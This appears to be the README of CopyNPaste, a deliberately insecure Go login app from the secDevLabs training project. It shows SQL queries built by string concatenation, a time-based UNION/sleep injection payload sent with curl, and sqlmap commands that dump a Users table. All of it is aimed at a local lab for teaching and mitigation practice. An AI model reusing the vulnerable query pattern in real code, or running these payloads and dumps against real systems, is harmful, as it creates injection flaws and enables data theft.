CopyNPaste is a Golang web application that uses an API and a simple front end to simulate a login page. It has both /register and /login routes that, by communicating with a MySQL database, enable users to register and enter into a generic system.
Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.
The main goal of this project is to discuss how SQL Injection vulnerabilities can be exploited and to encourage developers to send Pull Requests to secDevLabs on how they would mitigate these flaws.
To start this intentionally insecure application, you will need Docker and Docker Compose. After forking secDevLabs, you must type the following commands to start:
cd secDevLabs/owasp-top10-2021-apps/a3/copy-n-pastemake installThen simply visit localhost:10001, as exemplified below:
To properly understand how this application works, you can follow these simple steps:
- Register a new user via front-end.
- Login as this user via front-end.
- Register another user now using command line:
curl -s -H "Content-Type: application/json" -d '{"user":"bob", "pass":"password", "passcheck":"password"}' http://localhost:10001/register- Login as this second user now using command line:
curl -s -H "Content-Type: application/json" -d '{"user":"bob", "pass":"password"}' http://localhost:10001/login
Now that you know the purpose of this app, what could go wrong? The following section describes how an attacker could identify and eventually find sensitive information about the app or its users. We encourage you to follow these steps and try to reproduce them on your own to better understand the attack vector! 😜
After reviewing NewUser() , CheckIfUserExists() and AuthenticateUser() from db.go file, it was possible to see that some input from users are concatenated with SQL queries, as shown in the following code snippets:
query := fmt.Sprint("select * from Users where username = '" + user + "'")query := fmt.Sprint("insert into Users (username, password) values ('" + user + "', '" + passHash + "')")query := fmt.Sprint("select username from Users where username = '" + username + "'")As no validation is being made on these variables, SQL injections may be successfully executed in the database. Using the web interface, we can send some information, using the form from "inspect page", to better understand how it communicates with the API.
To confirm the input field is vulnerable, the following payload could be used to test if a 5 seconds delay will be noted after sending it:
-1' UNION select 1,2,sleep(5) -- '
Using curl on CLI interface, we can test it again, this time with a larger 30 seconds delay:
curl -s -H "Content-Type: application/json" -d '{"user":"-1'\'' union select 1,2,sleep(30) -- ", "pass":"password"}' http://127.0.0.1:10001/loginRequest:
30 seconds later, thus confirming we can execute commands on the server:
An attacker could now create any malicious SQL queries and send them to the API that, in theory, would be executed. For this attack narrative, sqlmap will be used to exemplify how an automated SQL Injection attack may be performed.
To install sqlmap on a Mac you can simply type:
brew install sqlmapThe first possible step is to create a file, postRequest.txt, containing the HTTP POST itself, as shown in the following code:
POST /login HTTP/1.1
Host: 127.0.0.1:10001
User-Agent: curl/7.54.0
Accept: */*
Content-Type: application/json
Content-Length: 31
{"user":"user", "pass":"password"}Before executing the attack, you can open a new tab in your terminal and type the following command to observe how the malicious requests will be received by the app:
docker logs a1_api -fAfter that, we can now use -r option and wait for sqlmap to perform multiples malicious requests until it finds the vulnerable parameter:
sqlmap -r postRequest.txt
After understanding how this database is structured, an attacker could use the following command to retrieve database details:
sqlmap -r postRequest.txt --tablesAnd then retrieve sensitive information from it:
sqlmap -r postRequest.txt -D a1db -T Users --dump
How could you now mitigate this vulnerability? After your code modification, an attacker should not be able to:
- Run SQL queries in the database.
[Spoiler alert] To understand how this vulnerability can be mitigated, check these pull requests!
We encourage you to contribute to SecDevLabs! Please check out the Contributing to SecDevLabs section for guidelines on how to proceed! 🎉